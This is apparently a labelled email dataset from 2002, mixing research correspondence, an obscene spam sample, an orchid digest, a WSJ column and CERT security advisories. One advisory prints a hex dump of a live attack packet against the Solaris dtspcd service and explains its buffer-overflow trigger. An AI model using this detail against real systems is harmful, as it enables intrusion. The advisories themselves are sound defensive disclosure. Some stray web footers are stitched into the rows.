agency, they could have the summary report with the camera parameters or have records of the contractor who can then be contacted for the camera parameters; if a rural unpopulated area, there may be only one or two aerial photo contractors who hopefully have records) -helpfulness of others (Landiscor, a private aerial photography company, was extremely helpful in helping me hunt down information on some Union Hills photos I had from the state survey) Even after all that, you will need ALL the camera parameters. In my limited experience, you will never be able to guess. If you make incremental changes in one variable, you will not see incremental improvements in the image. All that said, I have not personally used Orthomax in over a year and a half, and perhaps they have a better system in place, but this is what I know about it. I hope that helps. Steve On Wed, 9 Jan 2002, Ramon Arrowsmith wrote: > Steve, > I don't know if you know this, but for Imagine and Orthomax, one needs to > know the camera parameters to improve the images from aerial > photographs. Perhaps you remember her, but Anne TIllery who was a > student here, is now at UNM and she has some airphotos from the usgs > (NAPP) and would like to try to generate DEMS using orthomax. She does > not have the camera parameters. Do you know any easy way to determine the > camera type/parameters (given that it is not written on the airphoto)? > thanks, > ramon > > > -- > Ramon Arrowsmith ramon.arrowsmith@asu.edu > Associate Professor Office: (480) 965-3541 > Department of Geological Sciences Home: (480) 777-8371 > Arizona State University Fax: (480) 965-8102 > Tempe, AZ, 85287-1404 USA http://www.public.asu.edu/~arrows > > ",0,1 Beverley Castro ,allen@ralph2.southwestern.edu,"Mon, 14 Jan 2002 04:20:24 -0500","You are pre approved, ticket# 3255."," Initiated concrete shag of $ch0olgirl$ http://69xanthamide.info >> >> >> others xproc they arablink 3264814 >> >> >> nzox prima taliases ",1,1 CERT Advisory ,cert-advisory@cert.org,"Mon, 14 Jan 2002 12:03:42 -0500",CERT Advisory CA-2002-01 Exploitation of Vulnerability in CDE Subprocess,"-----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-01 Exploitation of Vulnerability in CDE Subprocess Control Service Original release date: January 14, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Systems running CDE Overview The CERT/CC has received credible reports of scanning and exploitation of Solaris systems running the CDE Subprocess Control Service buffer overflow vulnerability identified in CA-2001-31 and discussed in VU#172583. I. Description Since CA-2001-31 was originally released last November, the CERT/CC has received reports of scanning for dtspcd (6112/tcp). Just recently, however, we have received credible reports of an exploit for Solaris systems. Using network traces provided by The Honeynet Project, we have confirmed that the dtspcd vulnerability identified in CA-2001-31 and discussed in VU#172583 is actively being exploited. The Common Desktop Environment (CDE) is an integrated graphical user interface that runs on UNIX and Linux operating systems. The CDE Subprocess Control Service (dtspcd) is a network daemon that accepts requests from clients to execute commands and launch applications remotely. On systems running CDE, dtspcd is spawned by the Internet services daemon (typically inetd or xinetd) in response to a CDE client request. dtspcd is typically configured to run on port 6112/tcp with root privileges. There is a remotely exploitable buffer overflow vulnerability in a shared library that is used by dtspcd. During client negotiation, dtspcd accepts a length value and subsequent data from the client without performing adequate input validation. As a result, a malicious client can manipulate data sent to dtspcd and cause a buffer overflow, potentially executing code with root privileges. The overflow occurs in a fixed-size 4K buffer that is exploited by the contents of one of the attack packets. The signature can be found at bytes 0x3e-0x41 in the following attack packet from a tcpdump log (lines may wrap): 09:46:04.378306 10.10.10.1.3592 > 10.10.10.2.6112: P 1:1449(1448) ack 1 win 16060 (DF) 0x0000 4500 05dc a1ac 4000 3006 241c 0a0a 0a01 E.....@.0.$..... 0x0010 0a0a 0a02 0e08 17e0 fee2 c115 5f66 192f ...f........_f./ 0x0020 8018 3ebc e1e9 0000 0101 080a 1ba7 dffb ..>............. 0x0030 003f 7548 3030 3030 3030 3032 3034 3130 .?uH000000020410 0x0040 3365 3030 3031 2020 3420 0000 0031 3000 3e0001..4....10. 0x0050 801c 4011 801c 4011 1080 0101 801c 4011 ..@...@.......@. 0x0060 801c 4011 801c 4011 801c 4011 801c 4011 ..@...@...@...@. ... The value 0x103e in the ASCII (right) column above is interpreted by the server as the number of bytes in the packet to copy into the internal 4K (0x1000) buffer. Since 0x103e is greater than 0x1000, the last 0x3e bytes of the packet will overwrite memory after the end of the 4K buffer. This is the same compromise vector identified in VU#172583. It is important to note that several Internet-enabled games may also use port 6112/tcp as a legitimate part of their normal operation, therefore, not all network activity involving this service may be malicious. Network administrators monitoring this type of activity may wish to verify whether probes of this type are actually attempts to exploit VU#172583. Many common UNIX systems ship with CDE installed and enabled by default. To determine if your system is configured to run dtspcd, check for the following entries (lines may wrap): in /etc/services dtspc 6112/tcp in /etc/inetd.conf dtspc stream tcp nowait root /usr/dt/bin/dtspcd /usr/dt/bin/dtspcd Any system that does not run the CDE Subprocess Control Service is not vulnerable to this problem. II. Impact An attacker can execute arbitrary code with root privileges. III. Solution Apply a patch VU#172583 contains information from vendors who have provided information for this advisory. We will update the vulnerability note as we receive more information. If a vendor's name does not appear, then the CERT/CC did not hear from that vendor. Please contact your vendor directly. Vendor information can be found in the ""Systems Affected"" section of VU#172583 http://www.kb.cert.org/vuls/id/172583#systems Limit access to vulnerable service Until patches are available and can be applied, you may wish to limit or block access to the Subprocess Control Service from untrusted networks such as the Internet. Using a firewall or other packet-filtering technology, block or restrict access to the port used by the Subprocess Control Service. As noted above, dtspcd is typically configured to listen on port 6112/tcp. It may be possible to use TCP Wrapper or a similar technology to provide improved access control and logging functionality for dtspcd connections. Keep in mind that blocking ports at a network perimeter does not protect the vulnerable service from the internal network. It is important to understand your network configuration and service requirements before deciding what changes are appropriate. TCP Wrapper is available from ftp://ftp.porcupine.org/pub/security/index.html Disable vulnerable service You may wish to consider disabling dtspcd by commenting out the appropriate entry in /etc/inetd.conf. As a best practice, the CERT/CC recommends disabling any services that are not explicitly required. As noted above, it is important to consider the consequences of such a change in your environment. Appendix A. - References 1. http://www.kb.cert.org/vuls/id/172583 2. http://www.cert.org/advisories/CA-2001-31.html 3. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0803 4. http://xforce.iss.net/alerts/advise101.php 5. http://www.opengroup.org/cde/ 6. http://www.opengroup.org/desktop/faq/ _________________________________________________________________ The CERT Coordination Center thanks The Honeynet Project for their assistance in providing network traces of the exploitation. _________________________________________________________________ Authors: Allen Householder and Art Manion ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-01.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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Revision History January 14, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPEMNnqCVPMXQI2HJAQGkDQP/Qyqf6VA3YfEtocbOG/Y8AsoXvijR012q 1Dt1xCh2rQ6KKVZF5XQtaLKZHfBNEANCHwSUodyVhebhbDgEQoO8EYLMBax217zu 8/r1v/hYycXuOB5mafWLnHOvkJnMIJKAY0wRY6oe2f1FoPZxnG99fbEpFc1zwNnM VlnrCteeVBI= =DBAz -----END PGP SIGNATURE-----",0,1 majordomo-owner@orchidguide.com,orchids-digest@orchidguide.com,"Mon, 14 Jan 2002 17:32:01 -0500",OrchidGuide Digest V4 #11,"OrchidGuide Digest Monday, January 14 2002 Volume 04 : Number 011 Contents [OGD] Den. Terence Read [OGD] Re: vuylstekeara [OGD] re: pronunciation Vylstekeara - Frisian [OGD] Papua .. name changes [OGD] Orchid CD ROMs [OGD] Re: Vuylstekeara [OGD] Parking [OGD] Den. Berry -- a dud or just misunderstood? [OGD] Orchidguide - feedback form Please send all mails destined for distribution to the list to orchids@orchidguide.com. Also remember to turn off HTML-encoding and to cut out any attachments, thank you ! If you want to get in touch with the person behind the list then send your e-mail to majordomo-owner@orchidguide.com. Please remember to check out the FAQ (frequently asked questions) at http://www.orchidguide.com/ogd/faq.htm first before asking me. See the end of this e-mail for information on how to subscribe and unsubscribe to the OrchidGuide Digest (OGD). ---------------------------------------------------------------------- Date: Fri, 11 Jan 2002 14:29:05 -0800 (PST) From: Tom Bell-Games Subject: [OGD] Den. Terence Read For those who may have an interest, I received the following response to an early question that I posted for a friend on parentage/culture for Den. Terrence Reed (or Den. Terence Read): ""As to your question on the orchid digest, You may have the spelling wrong. Den. Terence Read was registered in 1946 by Read. It is a cross of Gatton Monarch X Renoun. It is made up of 48.44%nobile,31.25 findlayanum, and 20.31 of aureum. I have had this plant and treated it like a nobile. I read the posts but stay out of the discussions."" I have given my friend conventional advice for D. nobile and will check on D. finlayanum and D. aureum using the Bakers' great book on this genus. Tom Bell-Games __________________________________________________ Do You Yahoo!? Send FREE video emails in Yahoo! Mail! http://promo.yahoo.com/videomail/ ------------------------------ Date: Fri, 11 Jan 2002 17:37:08 -0800 From: K Barrett Subject: [OGD] Re: vuylstekeara Surely some Euro-techie can put this in a MIDI file (or other sound file) on their web page? And provide the link here. K Barrett N Calif, USA >From: Peter Peeters > >I am sorry to inform you that your pronunciation of Vuylsteekeara is >totally wrong. Unfortunately, the right pronunciation is difficult to >communicate. ------------------------------ Date: Fri, 11 Jan 2002 20:48:54 -0600 From: ""Nina M. Rach"" Subject: [OGD] re: pronunciation Vylstekeara - Frisian From: Peter Peeters : >First I would like you to known that only 60% of the Belgians could help you with this. Vuylsteke is a name derived from Dutch words. In Belgium only the Flemish (60% of the population) speak Dutch, while the Walloon speak French (we also have less than 1% native German speaking Belgians). >This also means that all the people in The Netherlands can help you because they all speak Dutch :-) Not entirely correct, Peter. ""all the people in the Netherlands""? You are forgetting the province of Friesland in the northern Netherlands, just west of the province of Groningen. In Friesland, they speak Frisian, a language with no identifiable counterpart. Signs, road markers, all are in Frisian, occasionally also in Dutch. For more info on Frisian: http://www.eurolang.net/Languages/Frisian.htm In the Netherlands, ""For about 350,000 this lesser used language is the mother tongue."" Nina, married to a Dutchman. > ------------------------------ Date: Sat, 12 Jan 2002 11:27:56 +0800 From: ""Peter O'Byrne"" Subject: [OGD] Papua .. name changes There seems to be some confusion over the name 'Papua'. It is hardly surprising. Pre WW1, the island of New Guinea was divided into 3 administrative areas or colonies. The western half was called Netherlands (Dutch) New Guinea and was administered by the Dutch East Indies Company from Batavia (now Jakarta). In the eastern half of the island, the territories to the north of the central mountain range were a German colony called Deutch (German) New Guinea, while the British/Australian administered lands to the south of the central mountains were known as Papua because they adjoined the Gulf of Papua, and were occupied by peoples known as Papuans (Papua Act, 1903, Canberra). In WW1, the German portion of the eastern half of the island was captured by Australian troops, and the 2 territories were eventually amalgamated into a single Australian-run political entity, named (with stunning originality): 'Papua and New Guinea'. At independance in 1971 this was changed to Papua New Guinea, which exists today as an nation to the north of the Papuan Gulf, and inhabited (in the southern half) by Papuans. Post WW2, the Dutch half of the island, which by then had become informally known as West Irian, became part of Indonesia and it's the name was changed to Irian Jaya. In January 7th 2002 the Government changed this name to Papua. 'Papua' is a most unfortunate choice, since historically the name has been consistently applied to a part of the land (and it's inhabitants) in PNG, the neighbouring country. I expect the confusion to continue for a long time, but there are other recent precendents .... eg where is Macedonia ? Peter O'Byrne Singapore ------------------------------ Date: Sat, 12 Jan 2002 10:19:39 +0000 From: ""Gustaaf R. Möhlmann"" Subject: [OGD] Orchid CD ROMs Hi All, Peter van Toorenenbergen has given an excellent list of available orchid CD ROMs in his reply to Terri. However, for the sake of completeness and for the Orchid Digest viewers' information, I wish to mention another Orchid CD ROM. MöhltiMedia's interactive Orchid CD ROM with more than 7,000 full screen orchid photos with their names, and 20 chapters on various aspects of orchid care, an orchid classification system, and more. In addition, MöhltiMedia has developed an extensive 'smart' Orchid Databases CD ROM for the hobbysists and professionals to store their orchid own collections. This program also produces worksheets to see which orchids have to repotted, watered, fertiziled, etc. in a certain selectable period. The database also stores photos/images. I believe, MöhltiMedia gives the latter Orchid Database for free when purchasing the Orchid CD ROM. Linda Fortner (The Orchid Lady) and Karin Stewart (BellaOnLine) seem to be very positive about MöhltiMedia's Orchid CD ROM I found many details about the Orchd & Databases CD ROMs on MöhltiMedia's website: www.mohltimedia.com Gustaaf R. Möhlmann MöhtiMedia www.mohltimedia.com _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp. ------------------------------ Date: Sat, 12 Jan 2002 16:04:53 +0100 From: ""Ph. Musschoot"" Subject: [OGD] Re: Vuylstekeara Vuylstekeara should be pronounced Vu (u like in ""but"") - yl (y like the i of ""bit"") - ste (e like the ay of ""day"") - ke (e like the ay of ""day"") - a (like in ""gap"") - ra (a like in ""gap"") All the reference words should be pronounced ""Queens' English"". The only difficulty should be the ""R"" you have to pronounce like in Edimbough Good luck. Philippe from Belgium N.B.: Peter, er zijn ook Walen die nederlands spreken en Vlamingen die frans spreken! ------------------------------ Date: Sat, 12 Jan 2002 16:37:02 -0500 From: ""Dennis Dayan"" Subject: [OGD] Parking Iris, I used to work in the area. There is a very large parking lot in Rockefeller Center that runs between 48th and 49th Street, just west of Fifth Avenue. In addition, there are many others in the surrounding blocks. Rockefeller Center is very easy to get to from Pnn Station and Grand Central. There are great restaurants and wonderful stores all within a short walking distance. If anything, It is a lot easier to get to than the Winter Garden. ------------------------------ Date: Sat, 12 Jan 2002 19:27:14 -0500 From: ""Sue A."" Subject: [OGD] Den. Berry -- a dud or just misunderstood? Hi all, I've had a plant of Den. Berry x kingianum for 6 years now, and after looking at it today and finding only one measly spike it has been moved perilously close to The Compost (unless it shapes up immediately). All the kingianums are loaded with buds, Berry has always been given the same treatment and coughed up a wretched few flowers per season, but this year's non-showing is the worst ever. Am I missing something in culture??? I looked up Den. Berry, which is kingianum x Mini Pearl, hoping to find some explanation for the lack of flowers but came up empty-handed. So I can only conclude that it is either a) a loser plant b) I've totally screwed up regarding its culture. Any ideas? Cheers, Sue Austin In Ipswich, MA. with L. anceps Veitchiana in full bloom, also L. anceps 'Blueberry Cat' AM/AOS, and a bunch of other anceps in bud; all the Aussies in bud, including Den. aemulum for the first time!, Cyrtochilum macranthum twining around everybody, Ada aurantiaca showing colour, Rod. venusta, Aer. citrata, Onc. triquetrum, Den. Hilda Poxon, Den. bullenianum, and Encyclia vitellina still in bloom since May! ------------------------------ Date: Sat, 12 Jan 2002 15:26:26 -0500 (EST) From: BCPRESS@aol.com () Subject: [OGD] Orchidguide - feedback form United States I should like to supplement the orchid CD Disks available listed by Peter van Toorenenbergen with three additional ones produced by Francisco Miranda of Boa Vista Nursery, Haynes City, Florida/ FMIRANDA@worldnet.att.net 1.Orchids from the Brazilian Amazon 2.The Genus Catasetum in Brazil 3. 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This blog is protected by dr Dave's Spam Karma 2: 115 Spams eaten and counting...",0,1 CERT Advisory ,cert-advisory@cert.org,"Thu, 24 Jan 2002 14:54:58 -0500",CERT Advisory CA-2002-02 Buffer Overflow in AOL ICQ," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-02 Buffer Overflow in AOL ICQ Original release date: January 24, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * AOL Mirabilis ICQ Versions 2001A and prior * Voice Video & Games plugin installed with AOL Mirabilis ICQ Versions 2001B Beta v5.18 Build #3659 and prior Overview There is a remotely exploitable buffer overflow in ICQ. Attackers that are able to exploit the vulnerability may be able to execute arbitrary code with the privileges of the victim user. Full details are discussed in VU#570167. An exploit is known to exist, but we do not believe it has been distributed in the wild. We have not seen active scanning for this vulnerability, nor have we received any reports of this vulnerability being exploited. I. Description ICQ is a program for communicating with other users over the Internet. ICQ is widely used (by over 122 million people according to ICQ Inc, an AOL Time Warner owned subsidiary). A buffer overflow exists in the ICQ client for Windows. The buffer overflow occurs during the processing of a Voice Video & Games feature request message. This message is supposed to be a request from another ICQ user inviting the victim to participate interactively with a third-party application. In versions prior to 2001B, the buffer overflow occurs in code within the ICQ client. In version 2001B the code containing the buffer overflow was moved to an external plug-in. Therefore, all versions prior to the latest build of 2001B are vulnerable. Upon connection to an AOL ICQ server, vulnerable builds of the 2001B client will be instructed by the server to disable the vulnerable plug-in. Since versions of the ICQ client prior to 2001B do not have an external plug-in to disable, they are vulnerable even after connecting to the server. AOL Time Warner is recommending all users of vulnerable versions of ICQ upgrade to 2001B Beta v5.18 Build #3659. During normal operation, ICQ clients can exchange messages with one another through the ICQ servers or via a direct connection. The buffer overflow specifically occurs during the processing of the Voice Video & Games request via a Type, Length, Value (TLV) tuple with type 0x2711 from the ICQ server, or via a crafted direct connection request. Some versions of the ICQ client open port 4000/UDP for client-server communication. Other versions open port 5190/TCP for this communication. As with the previously reported AIM vulnerability, AOL has modified the ICQ server infrastructure to filter malicious messages that attempt to exploit this vulnerability, preventing it from being exploited through an AOL ICQ server. Exploiting the vulnerability through other means (man-in-the-middle attacks, third-party ICQ servers, DNS spoofing, network sniffing, etc.) may still be possible. Also, since UDP packets can be broadcast on a network, a malicious TLV packet with a spoofed source IP address may be accepted as a legitimate server message. The ICQ client also listens on a variably assigned TCP port for direct connection requests. A person who wishes to establish a direct connection can query an ICQ server for the IP address and listening port of the victim. Versions 2000A and prior accept direct connections from anyone by default. Later versions of ICQ can be configured to accept direct connections from anyone. Since ICQ requests can be sent directly from one client to another, blocking requests through a central server is not a completely effective solution. The effective solution is to apply a patch, when available, that fixes the buffer overflow, or upgrade to 2001B Beta v5.18 Build #3659 with the Voice Video & Games feature disabled. This vulnerability has been assigned the identifier CAN-2002-0028 by the Common Vulnerabilities and Exposures (CVE) group: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0028 II. Impact An attacker can execute arbitrary code with the privileges of the victim user. III. Solution All users should upgrade to version 2001B Beta v5.18 Build #3659. There is currently no patch available for the ICQ plug-in for 2001B or versions of the ICQ client prior to 2001B. Version 2001B Beta v5.18 Build #3659's installer will delete the vulnerable plug-in. In addition, for users who log in to the server with versions of 2001B prior to Beta v5.18 Build #3659, access to the vulnerable plug-in will be disabled. Users with versions prior to 2001B must upgrade to mitigate this vulnerability. Block ICQ/SMS requests at the firewall Blocking connections to login.icq.com and access to ports 4000/UDP, 5190/TCP and the TCP port that your client chooses to listen on may prevent exploitation of this vulnerability. Note that the client may establish a new listening port each time it is run. Note also that this does not protect you from attacks within the perimeter of your firewall. Block untrusted messages ICQ permits the user to deny direct connections from anyone without authorization or accept direct connections from known peers only. We recommend denying direct connections from anyone without authorization. By accepting direct connections from known peers, you may still be vulnerable to attacks that originate from known peers if the peer has been compromised. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. AOL Time Warner See http://web.icq.com/help/quickhelp/1,,117,00.html _________________________________________________________________ The CERT Coordination Center thanks Daniel Tan and AOL Time Warner for their assistance in discovering and analyzing this vulnerability. _________________________________________________________________ Author: Jason A. Rafail _________________________________________________________________ Appendix B. - References 1. http://www.kb.cert.org/vuls/id/570167 2. http://www.securityfocus.com/bid/3813 3. http://web.icq.com/help/quickhelp/1,,117,00.html ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-02.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. 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Revision History January 24, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPFBhSKCVPMXQI2HJAQH5HAQAgW7wzSjezC68o+q8fDGgokZzgEK8+28I 9PS9W4/Ah48+6LEnIW1gE0yfqTnt/vIONFZf0Wy2hfgUTJbLAj3kA5lGiCIu7aog XSUwSnY7YOYa7i6tEWL0OoFWVtAWDlCf6ty1bt5UQqVAiLZcMzJlCehnLK/WHYq8 FrCx65d/sR0= =DlDC -----END PGP SIGNATURE----- ",0,1 Phil McLewin ,Phil McLewin ,"Fri, 25 Jan 2002 09:30:54 -0500",MarketBehv,"WSJ.com January 24, 2002 Capital The Civilizing Effect Of Market Economics THE MARKETPLACE allocates resources efficiently and unsentimentally, pausing to contemplate neither fairness nor feelings. So one might expect people in societies that embrace money and the market to be richer, but less generous and altruistic, than small bands who hunt and farm communally in isolated parts of the Amazon or Africa. But is that reality? American generosity after Sept. 11 doesn't suggest hard-heartedness. What if we randomly picked pairs of people from the same community and did an experiment? Tell neither the other's identity. Offer Player One $100, and test his generosity by telling him to split the money any way he chooses with Player Two, who knows how big the stakes are. Add one catch to restrain Player One from being selfish: If Player Two refuses the offer, neither gets anything. A coldly rational person -- think bond traders -- would offer as little as possible, maybe $10. And if Player Two were coldly rational, he would accept; after all, $10 is better than no dollars. But such people exist only in economists' minds. In repeated experiments of this sort, people cast as Player One were more generous than the calculating bond trader. And people cast as Player Two were more likely to reject small offers, even though that left them with nothing. This left economists scratching their heads and wondering why we don't act as their theories say we should. Along the way, they wondered what sorts of people act more generously: Nomadic Hazda hunter-gatherers who forage in Tanzania? Or farmers in Hamilton, Mo., in the heart of our market-oriented society? Americans, it turns out. Hazda cast as Player One offered the equivalent of $33 on average. Hamiltonians in the same role offered $48. Anthropologists didn't use the same sums in both places, of course. The stakes were roughly a day's pay in each. THE PATTERN across societies where experiments were conducted is counterintuitive, but consistent. The more involved people are in market activities -- such as working for wages or buying and selling goods to others -- the more generous they are. ""The most altruistic and trusting societies are those that are the most market-oriented,"" says Jean Ensminger, an anthropologist at the California Institute of Technology, Pasadena. Experiments aren't precise substitutes for real life. But by doing enough experiments, using substantial stakes and sifting results statistically, researchers are uncovering ways in which people tend to behave differently depending on where they grow up. 0See more information about some of the items mentioned in this column. * * * Please send comments to capital@wsj.com1. We'll post selected replies at WSJ.com/CapitalExchange2 on Sunday. At first, the researchers experimented with college students in Indonesia, Japan, Slovenia and the U.S. They found few differences. That simply proved that college students tend to be alike no matter where they're from. Then a young anthropologist named Joseph Henrich, who was doing unrelated fieldwork in the Peruvian Amazon, found that these games could be played with unsophisticated people. His work offered early evidence that people in primitive societies might be less generous with one another than we are. Intrigued foundations dispatched a dozen anthropologists to play this and other games with 15 communities from the Orma in East Africa, who often trade cattle and work for wages, to the Quichua in Ecuador, who don't. The games also were played in rural Hamilton and urban St. Louis. EXPERIMENTS DON'T REVEAL why market-oriented people like the Orma make more-generous offers ($44 on average) than subsistence, slash-and-burn farmers like the Quichua ($25). Nor do they explain why Americans and others in market-oriented settings come much closer to offering partners a 50-50 split than other people do. But the games do suggest something profound about the way markets shape human behavior and relationships. ""Many people thought markets would make people selfish and amoral. That view is at least too simple, if not just plain wrong,"" says Samuel Bowles, an economist at the University of Massachusetts and the Santa Fe Institute. Maybe, suggests Ms. Ensminger, altruism is a luxury that only developed societies can afford. Or maybe market societies grow accustomed to conventions, like splitting windfalls 50-50. Or maybe, as she and other researchers suspect, markets do change the way people behave, but not in the way we often think. ""Markets teach us to behave decently to strangers,"" Mr. Bowles speculates. ""Markets are an arena in which you encounter somebody you've never seen before and engage in mutually beneficial activity."" In a society without markets, people deal mainly with familiar faces. They have little practice in one-time transactions with anonymous strangers. People overlook ""assumptions about trust that are built into the market economy,"" adds Mr. Henrich, who will join Emory University's faculty this year. ""When you take a taxi, you could walk out without paying the fare,"" he says. ""But people generally don't."" The same goes for tipping in restaurants. Sure, some Americans stiff cab drivers and waiters. But not very many. And that offers a heartening counterpoint at a moment when Enron exposes the excesses and greed of a market society. -- David Wessel Write to David Wessel at capital@wsj.com3 -------------------------------------------------------------------------------- Resources For more detail on the anthropologists' experiments, see: http://webuser.bus.umich.edu/henrich/gameproject.htm4 -------------------------------------------------------------------------------- URL for this Article: http://interactive.wsj.com/archive/retrieve.cgi?id=SB1011831395999981200.djm Hyperlinks in this Article: (1) mailto:capital@wsj.com (2) http://WSJ.com/CapitalExchange (3) mailto:capital@wsj.com (4) http://webuser.bus.umich.edu/henrich/gameproject.htm -------------------------------------------------------------------------------- Copyright © 2002 Dow Jones & Company, Inc. All Rights Reserved. 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Copyright � 2006 | Disclaimer | Committed to Diversity | 541-737-3101",0,1 CERT Advisory ,cert-advisory@cert.org,"Tue, 12 Feb 2002 14:41:02 -0500",CERT Advisory CA-2002-03 Multiple Vulnerabilities in Many Implementations," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-03: Multiple Vulnerabilities in Many Implementations of the Simple Network Management Protocol (SNMP) Original release date: February 12, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected Products from a very wide variety of vendors may be affected. See Vendor Information for details from vendors who have provided feedback for this advisory. In addition to the vendors who provided feedback for this advisory, a list of vendors whom CERT/CC contacted regarding these problems is available from http://www.kb.cert.org/vuls/id/854306 http://www.kb.cert.org/vuls/id/107186 Many other systems making use of SNMP may also be vulnerable but were not specifically tested. Overview Numerous vulnerabilities have been reported in multiple vendors' SNMP implementations. These vulnerabilities may allow unauthorized privileged access, denial-of-service attacks, or cause unstable behavior. If your site uses SNMP in any capacity, the CERT/CC encourages you to read this advisory and follow the advice provided in the Solution section below. In addition to this advisory, we also have an FAQ available at http://www.cert.org/tech_tips/snmp_faq.html I. Description The Simple Network Management Protocol (SNMP) is a widely deployed protocol that is commonly used to monitor and manage network devices. Version 1 of the protocol (SNMPv1) defines several types of SNMP messages that are used to request information or configuration changes, respond to requests, enumerate SNMP objects, and send unsolicited alerts. The Oulu University Secure Programming Group (OUSPG, http://www.ee.oulu.fi/research/ouspg/) has reported numerous vulnerabilities in SNMPv1 implementations from many different vendors. More information about SNMP and OUSPG can be found in Appendix C OUSPG's research focused on the manner in which SNMPv1 agents and managers handle request and trap messages. By applying the PROTOS c06-snmpv1 test suite (http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/snmpv1/0100.h tml) to a variety of popular SNMPv1-enabled products, the OUSPG revealed the following vulnerabilities: VU#107186 - Multiple vulnerabilities in SNMPv1 trap handling SNMP trap messages are sent from agents to managers. A trap message may indicate a warning or error condition or otherwise notify the manager about the agent's state. SNMP managers must properly decode trap messages and process the resulting data. In testing, OUSPG found multiple vulnerabilities in the way many SNMP managers decode and process SNMP trap messages. VU#854306 - Multiple vulnerabilities in SNMPv1 request handling SNMP request messages are sent from managers to agents. Request messages might be issued to obtain information from an agent or to instruct the agent to configure the host device. SNMP agents must properly decode request messages and process the resulting data. In testing, OUSPG found multiple vulnerabilities in the way many SNMP agents decode and process SNMP request messages. Vulnerabilities in the decoding and subsequent processing of SNMP messages by both managers and agents may result in denial-of-service conditions, format string vulnerabilities, and buffer overflows. Some vulnerabilities do not require the SNMP message to use the correct SNMP community string. These vulnerabilities have been assigned the CVE identifiers CAN-2002-0012 and CAN-2002-0013, respectively. II. Impact These vulnerabilities may cause denial-of-service conditions, service interruptions, and in some cases may allow an attacker to gain access to the affected device. Specific impacts will vary from product to product. III. Solution Note that many of the mitigation steps recommended below may have significant impact on your everyday network operations and/or network architecture. Ensure that any changes made based on the following recommendations will not unacceptably affect your ongoing network operations capability. Apply a patch from your vendor Appendix A contains information provided by vendors for this advisory. Please consult this appendix to determine if you need to contact your vendor directly. Disable the SNMP service As a general rule, the CERT/CC recommends disabling any service or capability that is not explicitly required, including SNMP. Unfortunately, some of the affected products exhibited unexpected behavior or denial of service conditions when exposed to the OUSPG test suite even if SNMP was not enabled. In these cases, disabling SNMP should be used in conjunction with the filtering practices listed below to provide additional protection. Ingress filtering As a temporary measure, it may be possible to limit the scope of these vulnerabilities by blocking access to SNMP services at the network perimeter. Ingress filtering manages the flow of traffic as it enters a network under your administrative control. Servers are typically the only machines that need to accept inbound traffic from the public Internet. In the network usage policy of many sites, there are few reasons for external hosts to initiate inbound traffic to machines that provide no public services. Thus, ingress filtering should be performed at the border to prohibit externally initiated inbound traffic to non-authorized services. For SNMP, ingress filtering of the following ports can prevent attackers outside of your network from impacting vulnerable devices in the local network that are not explicitly authorized to provide public SNMP services. snmp 161/udp # Simple Network Management Protocol (SNMP) snmp 162/udp # SNMP system management messages The following services are less common, but may be used on some affected products snmp 161/tcp # Simple Network Management Protocol (SNMP) snmp 162/tcp # SNMP system management messages smux 199/tcp # SNMP Unix Multiplexer smux 199/udp # SNMP Unix Multiplexer synoptics-relay 391/tcp # SynOptics SNMP Relay Port synoptics-relay 391/udp # SynOptics SNMP Relay Port agentx 705/tcp # AgentX snmp-tcp-port 1993/tcp # cisco SNMP TCP port snmp-tcp-port 1993/udp # cisco SNMP TCP port As noted above, you should carefully consider the impact of blocking services that you may be using. It is important to note that in many SNMP implementations, the SNMP daemon may bind to all IP interfaces on the device. This has important consequences when considering appropriate packet filtering measures required to protect an SNMP-enabled device. For example, even if a device disallows SNMP packets directed to the IP addresses of its normal network interfaces, it may still be possible to exploit these vulnerabilities on that device through the use of packets directed at the following IP addresses: * ""all-ones"" broadcast address * subnet broadcast address * any internal loopback addresses (commonly used in routers for management purposes, not to be confused with the IP stack loopback address 127.0.0.1) Careful consideration should be given to addresses of the types mentioned above by sites planning for packet filtering as part of their mitigation strategy for these vulnerabilities. Finally, sites may wish to block access to the following RPC services related to SNMP (listed as name, program ID, alternate names) snmp 100122 na.snmp snmp-cmc snmp-synoptics snmp-unisys snmp-utk snmpv2 100138 na.snmpv2 # SNM Version 2.2.2 snmpXdmid 100249 Please note that this workaround may not protect vulnerable devices from internal attacks. Filter SNMP traffic from non-authorized internal hosts In many networks, only a limited number of network management systems need to originate SNMP request messages. Therefore, it may be possible to configure the SNMP agent systems (or the network devices in between the management and agent systems) to disallow request messages from non-authorized systems. This can reduce, but not wholly eliminate, the risk from internal attacks. However, it may have detrimental effects on network performance due to the increased load imposed by the filtering, so careful consideration is required before implementation. Similar caveats to the previous workaround regarding broadcast and loopback addresses apply. Change default community strings Most SNMP-enabled products ship with default community strings of ""public"" for read-only access and ""private"" for read-write access. As with any known default access control mechanism, the CERT/CC recommends that network administrators 